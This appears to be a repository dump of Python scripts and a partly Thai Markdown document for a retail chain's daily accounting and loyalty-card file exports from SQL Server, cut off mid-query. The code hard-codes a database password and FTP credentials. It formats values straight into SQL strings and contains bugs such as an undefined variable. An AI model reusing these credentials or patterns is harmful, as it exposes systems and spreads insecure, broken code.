TBOFINAPTransFMT_Temp\n (Source, Invoice_num, Vendor_num, Invoice_date, Invoice_total, Store_id,Invoice_type, Imported_goods,\n Hold_reason01, Invoice_tax_name, Tax_inv_running_no, Blank1, RTV_auth_no,\n Currency_code, Terms, Blank2, Gr_tran_no,Ass_tax_invoice_num, Blank3,\n Tax_Invoice_Date, Invoice_RTV_Type, CurrencyRate)\n VALUES\n (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s,\n %d, %s, %s, %s, %s, %s, %s, %s, %s, %s,\n %s, %d)\n \"\"\"\n cursor.executemany(query, generate_data_mer_header(data))\n\n\ndef get_invoice_type_dash_or_zero(invoice_type):\n if invoice_type in [\n '4', '5', '6', '7', 'c', 'C', 'd', 'D', 'e', 'E', 'f', 'F'\n ]:\n return '-'\n else:\n return '0'\n\n\ndef get_data_from_file(path):\n with open(path) as f:\n return [line.rstrip('\\n') for line in f]\n\n\ndef generate_data_mer_header(data):\n return [(sub_string_mer(1, 3, line), sub_string_mer(4, 53, line),\n sub_string_mer(54, 83, line), sub_string_mer(84, 89, line),\n sub_string_mer(90, 103, line), sub_string_mer(104, 109, line),\n sub_string_mer(110, 110, line), sub_string_mer(111, 111, line),\n sub_string_mer(112, 113, line), sub_string_mer(114, 118, line),\n sub_string_mer(119, 168, line), sub_string_mer(169, 218, line),\n sub_string_mer(219, 228, line), sub_string_mer(229, 231, line),\n sub_string_mer(232, 235, line), sub_string_mer(236, 237, line),\n sub_string_mer(238, 247, line), sub_string_mer(248, 297, line),\n sub_string_mer(298, 311, line), sub_string_mer(312, 317, line),\n sub_string_mer(318, 327, line), sub_string_mer(328, 377, line))\n for line in data]\n\n\ndef sub_string_mer(start, end, line):\n try:\n return line[start - 1:to]\n except Exception as e:\n return line[end - 1:len(line)]\n\n\nif __name__ == '__main__':\n fromdate = _date\n todate = _date\n dir_path = os.path.dirname(os.path.realpath(__file__))\n\n if fromdate > todate:\n print('Please check date because from date greater than to date')\n sys.exit(1)\n\n data = ofin_ap_trans_header(fromdate, todate)\n generate_text_files_mer_header(data, fromdate, todate)\n" }, { "alpha_fraction": 0.7068207859992981, "alphanum_fraction": 0.7264739871025085, "avg_line_length": 32.527130126953125, "blob_id": "e379c70fcd2d618aad5b7c9295f02960771d9e9c", "content_id": "5cec31814fc7e7d44c22683ab98d997e0d731d7d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4959, "license_type": "no_license", "max_line_length": 94, "num_lines": 129, "path": "/document/ofin/program.md", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "# PROGRAM\n\n## ZL\n##### Get Data ZL From Stored Procedure\n1. Execute [SPC_GenARTRNDTL_3PL](./sp/SPC_GenARTRNDTL_3PL.sql)\n2. Execute [spc_OFIN_SaleAndSaleReturn](./sp/spc_OFIN_SaleAndSaleReturn.sql)\n\n##### GenerateTextFiles (ZL.DAT & ZL.VAL)\n1. ดึงข้อมูลจาก DB `Select * From TBOFINSaleAndSaleReturnUFMT_Temp`\n2. เช็คเงื่อนไขของข้อมูล\n * sum(debit) != sum(credit) from TBOFINSaleAndSaleReturnUFMT_Temp\n * find Data[CPCID] is null\n * return SoIvHead.InvDate in lastday\n * ถ้าผิดเงื่อนไขจะไม่เขียนไฟล์\n3. เขียนไฟล์ .DAT & .VAL\n4. Move .Dat .Val ไปที่ folder อื่น\n\n##### Insert Data To TBOFINSaleAndSaleReturnFMT_Temp(ZL)\n1. Generate Mapping Template\n * เขียนหัว column\n2. Create Data ZL\n * `TRUNCATE TABLE TBOFINSaleAndSaleReturnFMT_Temp`\n * Insert Data from .DAT\n---\n## ZN\n##### GetSPC to DataTable(ZN)\n1. ดึง order id `Get orderid from tborderhead` / ordertype normal\n2. เอาแต่ละ orderid ไป execute [spc_GenARTranMST](./sp/spc_GenARTranMST.sql) / isprepaid = no\n3. ถ้า result != 0 ส่งเมล์ไปที่ [email protected]\n4. `Get order id from TBSubOrderHead` / status = Canceled / paymenttype != COD\n5. เอาแต่ละ orderid ไป execute [SPC_GENTBReturnAgent](./sp/SPC_GENTBReturnAgent.sql)\n6. `Get order id from TBSubOrderHead` / status = ReadyToShip, shipping, delivery\n7. เอาแต่ละ orderid ไป execute [SPC_GENTBReturnAgent](./sp/SPC_GENTBReturnAgent.sql)\n8. Run Command [spc_OFIN_CustomerReceiptAndAdjust](./sp/spc_OFIN_CustomerReceiptAndAdjust.sql)\n\n##### GenerateTextFiles (ZN.DAT & ZN.VAL)\n1. `Select * From TBOFINCustomerReceiptAndAdjust_Temp`\n2. Check Data Rule\n * query check sum(debit) != sum(credit) from TBOFINCustomerReceiptAndAdjust_Temp\n * find Data[CPCID] is null\n * return SoIvHead.InvDate in lastday\n * ถ้าผิดเงื่อนไขจะไม่เขียนไฟล์\n3. เขียนไฟล์ .DAT & .VAL\n4. Move .Dat .Val ไปที่ folder BACKUP_OFIN\n\n##### Insert Data To TBOFINReceiptAndAdjustFMT_Temp(ZL)\n1. Generate Mapping Template\n * func TranferDataToOFINMappingZN\n2. Create Data ZL\n * `TRUNCATE TABLE TBOFINReceiptAndAdjustFMT_Temp`\n * Insert Data from .DAT\n---\n## ZO\n#### GetSPC to DataTable(ZO)\n1. Run Command [spc_OFIN_GoodsReceiveAndRTV](./sp/spc_OFIN_GoodsReceiveAndRTV.sql)\n\n##### GenerateTextFiles (ZO.DAT & ZO.VAL)\n1. `Select * From TBOFINGoodReceiveAndRTVUFMT_Temp`\n2. Check Data Rule\n * query check sum(debit) != sum(credit) from TBOFINGoodReceiveAndRTVUFMT_Temp\n * find Data[CPCID] is null\n * return SoIvHead.InvDate in lastday\n * ถ้าผิดเงื่อนไขจะไม่เขียนไฟล์\n3. เขียนไฟล์ .DAT & .VAL\n4. Move .Dat .Val ไปที่ folder BACKUP_OFIN\n\n##### Insert Data To TBOFINGoodReceiveAndRTVFMT_Temp(ZO)\n1. Generate Mapping Template\n * func TBOFINGoodReceiveAndRTVFMT_Temp\n2. Create Data ZL\n * `TRUNCATE TABLE TBOFINGoodReceiveAndRTVFMT_Temp`\n * Insert Data from .DAT\n\n##### ZO Return\n1. Run Command `spc_OFIN_GoodsReceiveAndRTV_DocNO`\n\n---\n## RTV MERLine\n#### GetSPC to DataTable(MERLine)\n1. Run Command [spc_OFIN_APTransLine](./sp/spc_OFIN_APTransLine.sql)\n\n##### GenerateTextFiles (.MER & .LOG)\n1. `Select * From TBOFINAPTransUFMT_Temp`\n2. Check Data Rule\n * find Data[Vendor_num] is 000000 || 00000\n * return TBOFINAPTransUFMT_Temp.Vendor_num = '000000'\n * ถ้าผิดเงื่อนไขจะไม่เขียนไฟล์\n3. เขียนไฟล์ .MER & .LOG\n4. Move .MER .LOG ไปที่ folder BACKUP_OFIN\n\n##### Insert Data To TBOFINAPTransFMT_Temp(MER)\n1. Generate Mapping Template\n * func TranferDataToOFINMappingMERHeader\n2. Create Data MERHeader\n * `TRUNCATE TABLE TBOFINAPTransFMT_Temp`\n * Insert Data from .MER\n\n---\n## RTV MERHeader\n#### GetSPC to DataTable(MERHeader)\n1. Run Command [spc_OFIN_APTranHead](./sp/spc_OFIN_APTranHead.sql)\n\n##### GenerateTextFiles (.MER & .LOG)\n1. `Select * From TBOFINAPTransLineUFMT_Temp`\n2. Check Data Rule\n * find Data[Vendor_num] is 000000 || 00000\n * return TBOFINAPTransUFMT_Temp.Vendor_num = '000000'\n * ถ้าผิดเงื่อนไขจะไม่เขียนไฟล์\n3. เขียนไฟล์ .MER & .LOG\n4. Move .MER .LOG ไปที่ folder BACKUP_OFIN\n\n##### Insert Data To TBOFINAPTransLineFMT_Temp(MER)\n1. Generate Mapping Template\n * func TBOFINAPTransLineFMT_Temp\n2. Create Data MERHeader\n * `TRUNCATE TABLE TBOFINAPTransLineFMT_Temp`\n * Insert Data from .MER\n\n---\n## Vendor\n#### GetSPC to DataTable(Vendor)\n1. Run Command [spc_OFIN_Vendor](./sp/spc_OFIN_Vendor.sql)\n\n##### GenerateTextFiles (ZO.DAT & ZO.VAL)\n1. `Select * From TBOFINVendor_Temp`\n2. เขียนไฟล์ .DAT & .VAL\n3. Move .Dat .Val ไปที่ folder BACKUP_OFIN\n\n---\n" }, { "alpha_fraction": 0.5859237313270569, "alphanum_fraction": 0.5967841148376465, "avg_line_length": 34.50136184692383, "blob_id": "170111f2bff8a310bba8fab7be011bdbb411a82d", "content_id": "c934952dfb3e69fa917e75c7fde5d9774f18f42e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 26058, "license_type": "no_license", "max_line_length": 131, "num_lines": 734, "path": "/src/t1c_interface.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "import pymssql\nimport sys\nimport csv\nimport os\nimport zipfile\nfrom datetime import datetime, timedelta\n\nCFG_SALES_TRANSACTION_PATH = \"SaleTransaction/\"\nCFG_TENDER_MEMBER_PATH = \"TenderMemberTransaction/\"\nCFG_TENDER_NON_MEMBER_PATH = \"TenderTransaction/\"\nCFG_REPORTT1C_PAHT = \"ReportT1CPath/\"\n\n_year = \"\"\n_month = \"\"\n_day = \"\"\n_file_name = \"\"\nenum_bu = ['B2S', 'CDS', 'CGO', 'MSL', 'RBS', 'SSP']\nenum_shopgroup = ['BU', 'IN', 'ME']\n_time = datetime.strptime('2018-03-27 10:00', '%Y-%m-%d %H:%M')\norder_ids = []\n\n# time = datetime.now()\n\n\ndef connect_db():\n return pymssql.connect(\"10.17.220.173\", \"app-t1c\", \"Zxcv123!\", \"DBMKP\")\n\n\ndef generate_report():\n print(\"--- Begin: GenerateText ---\")\n dt_batch_date_get('', '', 'GR')\n data = get_order_data()\n create_report(data)\n\n\ndef get_order_data():\n with connect_db() as conn:\n cursor = conn.cursor(as_dict=True)\n cursor.execute(\n 'SELECT OrderId,BU,ShopId,ShopGroup,InvNo,InvDate,TenderType,NetAmt,T1CNoEarn FROM vw_DailyT1CInterface'\n )\n return [[\n order['OrderId'], order['BU'],\n str(order['ShopId']), order['ShopGroup'], order['InvNo'],\n order['InvDate'].strftime('%Y%m%d'), order['TenderType'],\n '{:04.14f}'.format(order['NetAmt']), order['T1CNoEarn']\n ] for order in cursor]\n\n\ndef create_report(rows):\n with open(CFG_REPORTT1C_PAHT + _file_name, 'w') as csvfile:\n writer = csv.writer(\n csvfile, delimiter=' ', quotechar=',', quoting=csv.QUOTE_MINIMAL)\n writer.writerow([\n 'OrderId', 'BU', 'ShopId', 'ShopGroup', 'InvNo', 'InvDate',\n 'TenderType', 'NetAmt', 'T1CNoEarn'\n ])\n for row in rows:\n writer.writerow(row)\n\n\ndef generate_text():\n print(\"--- Begin: GenerateText ---\")\n shop_master = get_shop_master()\n\n gen_text_bu(shop_master)\n gen_text_indy(shop_master)\n gen_text_mer(shop_master)\n\n print('--- End: GenerateText ---')\n\n\ndef get_shop_master():\n with connect_db() as conn:\n cursor = conn.cursor(as_dict=True)\n cursor.execute(\n 'SELECT ShopId, ShopGroup, AccountCode, BU FROM TBShopMaster')\n return [{\n 'ShopId': str(shop['ShopId']),\n 'ShopGroup': shop['ShopGroup'],\n 'AccountCode': shop['AccountCode'],\n 'BU': shop['BU']\n } for shop in cursor]\n\n\ndef get_shop_master_by_bu_list():\n with connect_db() as conn:\n cursor = conn.cursor(as_dict=True)\n cursor.execute(\n 'SELECT DISTINCT ShopGroup, AccountCode, BU FROM TBShopMaster WHERE BU IN (\\''\n + str.join('\\',\\'', enum_bu) + '\\')')\n return [{\n 'ShopGroup': shop['ShopGroup'],\n 'AccountCode': shop['AccountCode'],\n 'BU': shop['BU']\n } for shop in cursor]\n\n\ndef gen_text_bu(shop_master):\n shop_master_by_bus = get_shop_master_by_bu_list()\n bu_shops = [\n shop for shop in shop_master\n if (shop['ShopGroup'] in enum_shopgroup) & (shop['BU'] in enum_bu)\n ]\n for item in shop_master_by_bus:\n bu_shop = str.join(',', [\n bu['ShopId'] for bu in bu_shops\n if bu['AccountCode'] == item['AccountCode']\n ])\n generate_text_t1c('CGO', item['AccountCode'], bu_shop, 'BU')\n\n\ndef gen_text_indy(shop_master):\n indy_shops = [shop for shop in shop_master if shop['ShopGroup'] == 'IN']\n indy_shop = str.join(',', [indy['ShopId'] for indy in indy_shops])\n generate_text_t1c('CGO', '99564', indy_shop, 'IN')\n\n\ndef gen_text_mer(shop_master):\n mer_shops = [shop for shop in shop_master if shop['ShopGroup'] == 'ME']\n mer_shop = str.join(',', [mer['ShopId'] for mer in mer_shops])\n generate_text_t1c('CGO', '99998', mer_shop, 'ME')\n\n\ndef generate_text_t1c(bu, store_number, shop_id, shop_group):\n dt_batch_date_get(store_number, bu, 'GT')\n sale_transaction(bu, store_number, shop_id, shop_group, 'SF' + _file_name)\n tender_member_only(bu, store_number, shop_id, shop_group, 'TD' + _file_name)\n tender_non_member(bu, store_number, shop_id, shop_group, 'TF' + _file_name)\n\n\ndef dt_batch_date_get(store_number, bu, gen_type):\n global _file_name\n dt_batch_date = get_batch_date()\n month = '{:02}'.format(dt_batch_date.month)\n day = '{:02}'.format(dt_batch_date.day)\n if gen_type == 'GT':\n year = str(dt_batch_date.year)[2:4]\n _file_name = '{}{}{}{}.{}'.format(year, month, day, store_number, bu)\n else:\n year = str(dt_batch_date.year)\n _file_name = '{}{}{}_{}'.format(year, month, day, 'ReportT1C_CGO.csv')\n\n\ndef sale_transaction(bu, store_number, shop_id, shop_group, file_name):\n print('--- Begin: SaleTransaction ---')\n sale_transactions = get_sale_tran(shop_id, shop_group, store_number)\n total = len(sale_transactions)\n with open(CFG_SALES_TRANSACTION_PATH + file_name, 'w') as text_file:\n for transaction in sale_transactions:\n text_file.write(transaction + os.linesep)\n\n total_sale_transaction(total, file_name, bu, store_number)\n print('--- End: SaleTransaction ---')\n\n\ndef total_sale_transaction(total, file_name, bu, store_number):\n print('--- Begin: TotalSaleTransaction ---')\n file_name_total = 'SO' + _file_name\n total = str(total).zfill(10)\n main_text = _time.strftime('%Y%m%d%H%M') + total\n zip_sale_transaction_path = CFG_SALES_TRANSACTION_PATH\n with open(CFG_SALES_TRANSACTION_PATH + file_name_total, 'w') as text:\n text.write(main_text)\n create_directory(zip_sale_transaction_path + 'ZipFile')\n with zipfile.ZipFile(\n zip_sale_transaction_path + 'ZipFile/' + file_name + '.ZIP',\n 'w') as myzip:\n myzip.write(zip_sale_transaction_path + file_name)\n myzip.write(zip_sale_transaction_path + file_name_total)\n file_path = zip_sale_transaction_path + 'ZipFile' + file_name + '.ZIP'\n ftp_server = '10.0.18.96'\n ftp_user_name = 'ftpcrclytpos'\n ftp_password = 'posftp*01'\n\n upload_file_to_ftp(file_path, ftp_server, ftp_user_name, ftp_password, 'SF/')\n print('--- End: TotalSaleTransaction ---')\n\n\ndef upload_file_to_ftp(file_path, ftp_server, ftp_user_name, ftp_password,\n folder):\n print('--- Begin UploadFileToFtp ---')\n print('--- End: UploadToFtp ---')\n\n\ndef get_sale_tran(shop_id, shop_group, store_number):\n with connect_db() as conn:\n cursor = conn.cursor(as_dict=True)\n query = \"\"\"\n SELECT\n Head.Suborderid as id,\n Head.ShopID,\n Head.ShopGroup,\n Head.SubOrderId,\n (case when Head.shopGroup = 'ME' then Concat('0', substring(Head.subOrderId,1,12)) else Head.InvNo end) as InvNo,\n Head.InvDate,\n Head.CreateOn,\n '00' AS SaleType,\n Head.Status,\n Detail.PID,\n Detail.Quantity,\n Detail.UnitPrice ,\n Detail.UnitPrice - (Detail.ItemDiscAmt + Detail.OrdDiscAmt) AS UnitSalesPrice,\n Head.VatAmt ,\n emp.eEmpID AS CreateBy,\n (Detail.UnitPrice * Detail.Quantity) - (Detail.ItemDiscAmt + Detail.OrdDiscAmt) AS NetAmt,\n (Detail.ItemDiscAmt + Detail.OrdDiscAmt) AS ItemDiscountAmount,\n (Head.ItemDiscAmt + Head.OrdDiscAmt) AS TransactionDiscountAmount ,\n ProMas.DEPT,\n ProMas.SUB_DPT,\n Head.T1CNoEarn\n FROM TBSubOrderHead Head\n INNER JOIN TBSubOrderDetail Detail ON Head.Suborderid = Detail.Suborderid\n LEFT JOIN TBProductMaster ProMas ON Detail.PID = ProMas.PID\n LEFT JOIN [dbo].[cmeEmp] emp ON Head.CreateBy = emp.eEMailInternal\n WHERE Head.IsGenT1c = 'No'\n AND Head.InvNo != ''\n AND head.ShopGroup = %(ShopGroup)s {0}\n UNION ALL\n SELECT\n Head.SubSRNo as id,\n Head.shopid,\n Head.ShopGroup,\n Head.SubOrderId,\n Head.CnNo AS InvNo,\n CONVERT(VARCHAR(19),Head.CnDate,111) AS InvDate,\n Head.CreateOn,\n '20' AS SaleType,\n Head.Status,\n Detail.PID,\n Detail.Quantity,\n Detail.UnitPrice ,\n Detail.UnitPrice - (Detail.ItemDiscAmt + Detail.OrdDiscAmt) AS UnitSalesPrice,\n Head.VatAmt ,\n emp.eEmpID AS CreateBy,\n (Detail.UnitPrice * Detail.Quantity) - (Detail.ItemDiscAmt + Detail.OrdDiscAmt) AS NetAmt,\n (Detail.ItemDiscAmt + Detail.OrdDiscAmt) AS ItemDiscountAmount,\n (Head.ItemDiscAmt + Head.OrdDiscAmt) AS TransactionDiscountAmount ,\n ProMas.DEPT,\n ProMas.SUB_DPT,\n Head.T1CNoEarn\n FROM TBSubSaleReturnHead Head\n INNER JOIN TBSubSaleReturnDetail Detail ON Head.SubSRNo = Detail.SubSRNo\n LEFT JOIN TBProductMaster ProMas ON Detail.PID = ProMas.PID\n LEFT JOIN [dbo].[cmeEmp] emp ON Head.CreateBy = emp.eEMailInternal\n WHERE Head.SubSaleReturnType IN ('CN', 'Exchange')\n AND Head.Status = 'Completed'\n AND Head.CnNo != ''\n AND Head.IsGenT1c = 'No'\n AND Head.ShopGroup = %(ShopGroup)s {0}\n ORDER BY InvNo\n \"\"\"\n if shop_group == 'BU':\n query = query.format('{} ({})'.format(' AND Head.ShopID in ', shop_id))\n else:\n query = query.format('')\n cursor.execute(query, dict(ShopGroup=shop_group))\n return [\n gen_sale_tran_data(data, index + 1, store_number)\n for index, data in enumerate(cursor)\n ]\n\n\ndef gen_sale_tran_data(data, index, store_number):\n global order_ids\n order_ids.append(data['id'])\n store_number = store_number.zfill(5)\n\n if data['InvDate'] == None:\n transaction_date = ' '\n else:\n transaction_date = datetime.strptime(data['InvDate'],\n '%Y-%m-%d').strftime('%Y%m%d')\n\n if data['CreateOn'] == None:\n transaction_time = ' '\n else:\n transaction_time = data['CreateOn'].strftime('%H%M')\n\n status = get_option_str(data['Status'])\n sale_type = get_option_str(data['SaleType'])\n\n pos_number = get_option_str(data['ShopID'])\n pos_number = '{:0>4}'.format(pos_number)\n\n inv_no = get_option_str(data['InvNo'])\n ticket_running_number = get_tracking_number(inv_no)\n\n pid = get_option_str(data['PID'])\n sku_code = pid.zfill(16)\n upc_code = sku_code\n\n qty_sign = '+'\n quantity = get_option_str(data['Quantity'])\n quantity = (str(quantity) + '00').zfill(6)\n\n unit_pos_price = get_option_str(data['UnitPrice'])\n unit_pos_price = split_price(unit_pos_price)\n\n unit_sale_price = get_option_str(data['UnitSalesPrice'])\n unit_sale_price = split_price(unit_sale_price)\n\n flag_price_override = 'N'\n sales_amount = get_option_str(data['NetAmt'])\n sales_amount = split_price(sales_amount)\n\n vat_amount = get_option_str(data['VatAmt'])\n vat_amount = split_price(vat_amount)\n\n item_discount_code = '{: ^4}'.format('')\n item_discount_amount = get_option_str(data['ItemDiscountAmount'])\n item_discount_amount = split_price(item_discount_amount)\n\n transaction_discount_code = '{: ^4}'.format('')\n transaction_discount_amount = get_option_str(\n data['TransactionDiscountAmount'])\n transaction_discount_amount = split_price(transaction_discount_amount)\n\n reference_id = '{: ^21}'.format('')\n reference_receipt_number = '{: ^9}'.format('')\n reference_tran_date = transaction_date\n reason_code = ''.zfill(2)\n promotion_event_code = ''.zfill(6)\n dept_code = get_option_str(data['DEPT'])\n dept_code = dept_code.zfill(3) if len(dept_code) < 3 else dept_code[0:3]\n sub_dept_code = get_option_str(data['SUB_DPT'])\n sub_dept_code = sub_dept_code.zfill(\n 3) if len(sub_dept_code) < 3 else sub_dept_code[0:3]\n itemize_upc_code = ''.zfill(16)\n dtype_code = '{: ^1}'.format('')\n credit_customer_id = '{: ^16}'.format('')\n\n member_id = get_option_str(data['T1CNoEarn'])\n member_id = '{: <21}'.format(\n member_id) if member_id == None else '{: <21}'.format(\n member_id) if len(member_id) < 21 else member_id[0:21]\n\n member_point = ''.zfill(8)\n cashier_id = ''.zfill(8)\n sales_person_id = get_option_str(data['CreateBy'])\n sales_person_id = sales_person_id.zfill(\n 8) if len(sales_person_id) < 8 else sales_person_id[0:8]\n shop_id = '' if data['ShopID'] == None else data['ShopID']\n shopGroup = '' if data['ShopGroup'] == None else data['ShopGroup']\n\n raw_sale_tran = store_number + transaction_date + transaction_time + sale_type \\\n + pos_number + ticket_running_number + sku_code + upc_code + qty_sign + quantity \\\n + unit_pos_price + unit_sale_price + flag_price_override + sales_amount + vat_amount \\\n + item_discount_code + item_discount_amount + transaction_discount_code + transaction_discount_amount \\\n + reference_id + reference_receipt_number + reference_tran_date + reason_code + promotion_event_code \\\n + dept_code + sub_dept_code + itemize_upc_code + dtype_code + credit_customer_id + member_id + member_point \\\n + cashier_id + sales_person_id\n if len(raw_sale_tran) == 281:\n return raw_sale_tran\n else:\n print(index, \": Miss Length\")\n\n\ndef split_price(price):\n price_array = str.split(str(price), \".\")\n if len(price_array) == 2:\n price = price_array[0] + '{:0<2}'.format(price_array[1][0:2])\n if len(price) < 12:\n price = '{:0>12}'.format(price)\n return price\n\n\ndef get_tracking_number(inv_no):\n pad_char = '0'\n suffix = inv_no[6:13]\n bu = inv_no[0:3]\n if len(inv_no) < 8:\n if bu == 'CDS':\n pad_char = '1'\n elif bu == 'CNC':\n pad_char = '2'\n elif bu == 'ABB':\n pad_char = '3'\n elif bu == 'RBS' or bu == 'CNR':\n pad_char = '4'\n elif bu == 'SSP' or bu == 'CNS':\n pad_char = '5'\n elif bu == 'B2S' or bu == 'CNB':\n pad_char = '6'\n else:\n pad_char = '0'\n return ('{:' + pad_char + '>8}').format(suffix)\n\n\ndef tender_member_only(bu, store_number, shop_id, shop_group, file_name):\n print('--- Begin: TenderMemberOnly ---')\n tender_member_file_path = CFG_TENDER_MEMBER_PATH\n tender_member_only = get_tender_mem(shop_id, shop_group, store_number)\n total = len(tender_member_only)\n with open(tender_member_file_path + file_name, 'w') as text_file:\n for tender in tender_member_only:\n text_file.write(tender + os.linesep)\n total_tender_member(total, bu, store_number)\n print('--- End: TenderMemberOnly ---')\n\n\ndef tender_non_member(bu, store_number, shop_id, shop_group, file_name):\n print('--- Begin: TenderNonMember ---')\n tender_non_member_file_path = CFG_TENDER_NON_MEMBER_PATH\n tender_non_member = get_tender_non_mem(shop_id, shop_group, store_number)\n total = len(tender_non_member)\n with open(tender_non_member_file_path + file_name, 'w') as text_file:\n for tender in tender_non_member:\n text_file.write(tender + os.linesep)\n total_tender_non_member(total, file_name, bu, store_number)\n print('--- End: TenderNonMember ---')\n\n\ndef get_tender_mem(shop_id, shop_group, store_number):\n with connect_db() as conn:\n cursor = conn.cursor(as_dict=True)\n query = \"\"\"SELECT\n Head.Suborderid as id,\n Head.ShopID,\n Head.ShopGroup,\n (CASE WHEN Head.shopGroup = 'ME' THEN Concat('0', SUBSTRING(Head.subOrderId,1,12)) else Head.InvNo end) as InvNo,\n Head.InvDate,\n Head.CreateOn,\n '00' AS SaleType,\n 'CASH' AS TenderType,\n Head.Status ,\n Head.VatAmt,\n Head.NetAmt,\n Head.redeemamt,\n OrderHead.NetAmt AS TotalNetAmt ,\n (Head.ItemDiscAmt + Head.OrdDiscAmt) AS TransactionDiscountAmount ,\n Head.T1CNoEarn\n\t\t\t\t\t\t\tFROM TBsubOrderHead Head\n\t\t\t\t\t\t\tINNER JOIN TBOrderHead OrderHead ON Head.OrderId = OrderHead.OrderId\n\t\t\t\t\t\t\tWHERE Head.IsGenT1c = 'No'\n AND Head.InvNo != ''\n AND Head.T1CNoEarn != ''\n AND Head.ShopGroup = %(shop_group)s {0}\n UNION ALL\n SELECT\n Head.Suborderid as id,\n Head.ShopID,\n Head.ShopGroup,\n (case when Head.shopGroup = 'ME' then Concat('0', substring(Head.subOrderId,1,12)) else Head.InvNo end) as InvNo,\n Head.InvDate,\n Head.CreateOn,\n '00' AS SaleType,\n 'T1PM' AS TenderType,\n Head.Status ,\n Head.VatAmt,\n Head.NetAmt,\n Head.redeemamt,\n OrderHead.NetAmt AS TotalNetAmt ,\n (Head.ItemDiscAmt + Head.OrdDiscAmt) AS TransactionDiscountAmount ,\n Head.T1CNoEarn\n FROM TBsubOrderHead Head\n INNER JOIN TBOrderHead OrderHead ON Head.OrderId = OrderHead.OrderId\n WHERE Head.IsGenT1c = 'No'\n AND Head.InvNo != ''\n AND Head.T1CNoEarn != ''\n AND Head.redeempoint <> 0\n AND Head.ShopGroup = %(shop_group)s {0}\n UNION ALL\n SELECT top 1\n Head.SubSRNo as id,\n Head.ShopID,\n Head.ShopGroup,\n Head.CnNo AS InvNo,\n CONVERT(VARCHAR(19), Head.CnDate, 111) AS InvDate,\n Head.CreateOn,\n '20' AS SaleType,\n 'CASH' AS TenderType,\n Head.Status ,\n Head.VatAmt,\n Head.NetAmt,\n '0' AS redeemamt,\n '0' AS TotalNetAmt ,\n (Head.ItemDiscAmt + Head.OrdDiscAmt) AS TransactionDiscountAmount ,\n Head.T1CNoEarn\n FROM TBSubSaleReturnHead Head WHERE Head.SubSaleReturnType IN ('CN', 'Exchange')\n AND Head.Status = 'Completed'\n AND Head.CnNo != ''\n AND Head.IsGenT1c = 'No'\n AND Head.T1CNoEarn <> ''\n AND Head.ShopGroup = %(shop_group)s {0}\n\t\t\t\t\t\t\tORDER BY InvNo\"\"\"\n if shop_group == 'BU':\n query = query.format('{} ({})'.format(' AND Head.ShopID IN ', shop_id))\n else:\n query = query.format('')\n cursor.execute(query, dict(shop_group=shop_group))\n return [\n gen_tender(data, index + 1, store_number)\n for index, data in enumerate(cursor)\n ]\n\n\ndef gen_tender(data, index, store_number):\n global order_ids\n order_ids.append(data['id'])\n store_number.zfill(5)\n transaction_date = ' ' * 8 if data['InvDate'] == None else datetime.strptime(\n data['InvDate'], '%Y-%m-%d').strftime('%Y%m%d')\n transaction_time = '{: >4}'.format() if data['CreateOn'] == None else data[\n 'CreateOn'].strftime('%H%M')\n status = get_option_str(data['Status'])\n sale_type = get_option_str(data['SaleType'])\n pos_number = get_option_str(data['ShopID']).zfill(4)\n ticket_running_number = get_tracking_number(get_option_str(data['InvNo']))\n tender_type = get_option_str(data['TenderType'])\n sign = '+'\n\n sub_net_amt = get_option_number(data['NetAmt'])\n total_net_amt = get_option_number(data['TotalNetAmt'])\n redeem_amt = get_option_number(data['redeemamt'])\n\n percent = 0 if total_net_amt == 0 else sub_net_amt * 100 / total_net_amt\n point_discount = redeem_amt if percent == 0 else redeem_amt * percent / 100\n\n if tender_type == 'CASH':\n tender_amt = 0 if sub_net_amt < point_discount else sub_net_amt - point_discount\n elif tender_type == 'T1PM':\n tender_amt = sub_net_amt if sub_net_amt < point_discount else point_discount\n else:\n tender_amt = 0\n\n if data['SaleType'] == 20:\n tender_amt == sub_net_amt\n\n tender_amt = str(tender_amt)\n tender_amt = split_price(tender_amt)\n\n payment_discount_code = ' ' * 4\n payment_discount_label = ' ' * 10\n payment_discount_amt = get_option_str(\n data['TransactionDiscountAmount']).replace('.', '').zfill(12)\n reference_id_1 = ' ' * 21\n credit_customer_id = ' ' * 16\n approve_code = ' ' * 6\n\n member_id = '{: <21}'.format(get_option_str(data['T1CNoEarn']))\n member_point = '0' * 8\n cashier_id = ' ' * 8\n\n system_date = _time.strftime('%Y%m%d')\n system_time = _time.strftime('%H%M')\n\n shop_id = get_option_str(data['ShopID'])\n shop_group = get_option_str(data['ShopGroup'])\n\n raw_tender_mem = store_number + transaction_date + transaction_time \\\n + sale_type + pos_number + ticket_running_number + tender_type \\\n + sign + tender_amt + payment_discount_code + payment_discount_label \\\n + payment_discount_amt + reference_id_1 + credit_customer_id \\\n + approve_code + member_id + member_point + cashier_id \\\n + system_date + system_time\n\n if len(raw_tender_mem) == 166:\n return raw_tender_mem\n else:\n print(index, 'Miss Length:', len(raw_tender_mem))\n\n\ndef get_option_str(data):\n return '' if data == None else str(data)\n\n\ndef get_option_number(data):\n try:\n return float(data)\n except Exception as e:\n return 0\n\n\ndef get_tender_non_mem(shop_id, shop_group, store_number):\n with connect_db() as conn:\n cursor = conn.cursor(as_dict=True)\n query = \"\"\"SELECT\n Head.Suborderid as id,\n Head.ShopID,\n Head.ShopGroup,\n (case when Head.shopGroup = 'ME' then Concat('0', substring(Head.subOrderId,1,12)) else Head.InvNo end) as InvNo,\n Head.InvDate,\n Head.CreateOn,\n '00' AS SaleType,\n 'CASH' AS TenderType,\n Head.Status ,\n Head.VatAmt,\n Head.NetAmt,\n Head.redeemamt,\n OrderHead.NetAmt AS TotalNetAmt ,\n (Head.ItemDiscAmt + Head.OrdDiscAmt) AS TransactionDiscountAmount ,\n Head.T1CNoEarn\n\t\t\t\t\t\t\tFROM TBsubOrderHead Head\n\t\t\t\t\t\t\tINNER JOIN TBOrderHead OrderHead ON Head.OrderId = OrderHead.OrderId\n\t\t\t\t\t\t\tWHERE Head.IsGenT1c = 'No'\n AND Head.InvNo != ''\n AND Head.ShopGroup = %(shop_group)s {0}\n UNION ALL\n SELECT top 1\n Head.Suborderid as id,\n Head.ShopID,\n Head.ShopGroup,\n (case when Head.shopGroup = 'ME' then Concat('0', substring(Head.subOrderId,1,12)) else Head.InvNo end) as InvNo,\n Head.InvDate,\n Head.CreateOn,\n '00' 